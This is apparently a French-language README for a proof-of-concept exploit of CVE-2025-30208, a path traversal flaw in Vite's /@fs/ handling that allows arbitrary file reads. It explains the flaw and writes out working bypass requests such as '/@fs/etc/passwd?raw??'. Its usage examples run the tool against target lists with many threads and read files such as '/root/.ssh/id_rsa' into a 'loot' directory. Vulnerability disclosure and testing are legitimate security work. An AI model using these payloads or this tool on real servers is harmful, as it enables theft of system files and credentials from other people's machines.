
Un PoC du script d'exploitation pour la vulnérabilité de lecture arbitraire de fichiers de Vite /@fs/ Path Traversal dans transformMiddleware (CVE-2025-30208).
Un PoC du script d'exploitation pour la vulnérabilité Arbitrary File Read (lecture arbitraire de fichiers) de Vite /@fs/ Path Traversal (parcours de chemin) dans transformMiddleware (CVE-2025-30208). Une analyse détaillée est disponible dans cet article.
Versions vulnérables antérieures à :
Vite est un projet open-source populaire disponible sur Github et son site officiel. Il utilise un préfixe spécial, @fs, pour permettre un accès direct aux chemins absolus de fichiers en mode développement :
GET /@fs/<absolute/path/to/file>
Mais pour prévenir les abus, Vite limite ce qui peut être accédé via @fs en utilisant une configuration comme :
server: {
fs: {
allow: [path.resolve(__dirname, 'src')]
}
}
Donc en théorie, les fichiers en dehors du répertoire autorisé (comme /etc/passwd) devraient être bloqués — même si quelqu'un essaie d'utiliser des astuces comme ../../../.
Cependant, le défaut réside dans la manière dont Vite analyse et vérifie les URLs (via le middleware/fonction transformMiddleware). Le middleware/fonction utilise ensureServingAccess(url, ...) pour vérifier si une requête de fichier via /@fs/ est autorisée.
Cependant, un attaquant pourrait forger une requête avec des séparateurs de requête en suffixe dans l'URL comme :
GET /@fs/etc/passwd?raw??
GET /@fs/etc/passwd?raw&url
GET /@fs/etc/passwd?import&raw??
Ces formes permettraient de contourner les filtres d'expression régulière (rawRE, urlRE) et les vérifications de sécurité car la chaîne de requête malformée correspond toujours à la logique de routage. Ce qui se passe :
/@fs/../../../etc/passwdraw?? (délibérément malformée)?, et cela se fait avant de vérifier si le chemin du fichier est autorisé.Cela signifie :
server.fs.allow./etc/passwd, s'il existe.python3 poc.py [OPTIONS]
| Indicateur / Option | Description |
|---|---|
-u, --url | URL d'une seule cible (ex. example.com:5173) |
-f, --file | Fichier contenant une liste de cibles (une URL par ligne) |
-p, --path | Chemin du système de fichiers à lire (défaut : /etc/passwd) |
-b, --bypass | Chaîne de requête pour contourner la validation de routage (défaut : ?raw??) |
--proxy | URL du proxy (ex. http://127.0.0.1:8080) |
-o, --output | Répertoire de sortie pour enregistrer les résultats d'exploitation (défaut : results) |
-t, --threads | Nombre de threads pour le mode batch (défaut : 10) |
-h, --help | Afficher le message d'aide et quitter |
Exploitation d'une seule cible :
python3 cve-2025-30208.py -u example.com:5173
Cible unique avec un chemin LFI personnalisé pour fuiter le fichier souhaité :
python3 cve-2025-30208.py -u example.com:5173 -p '/root/.ssh/id_rsa'
Exploitation par lots avec plusieurs cibles :
python3 cve-2025-30208.py -f targets.txt
Requête de contournement personnalisée :
python3 cve-2025-30208.py -u example.com:5173 -b "?raw&url"
Utilisation d'un proxy (ex. Burp Suite) :
python3 cve-2025-30208.py -u example.com:5173 --proxy http://127.0.0.1:8080
Répertoire de sortie personnalisé :
python3 cve-2025-30208.py -u example.com:5173 -o ./loot
Augmenter le nombre de threads en mode batch :
python3 cve-2025-30208.py -f targets.txt -t 50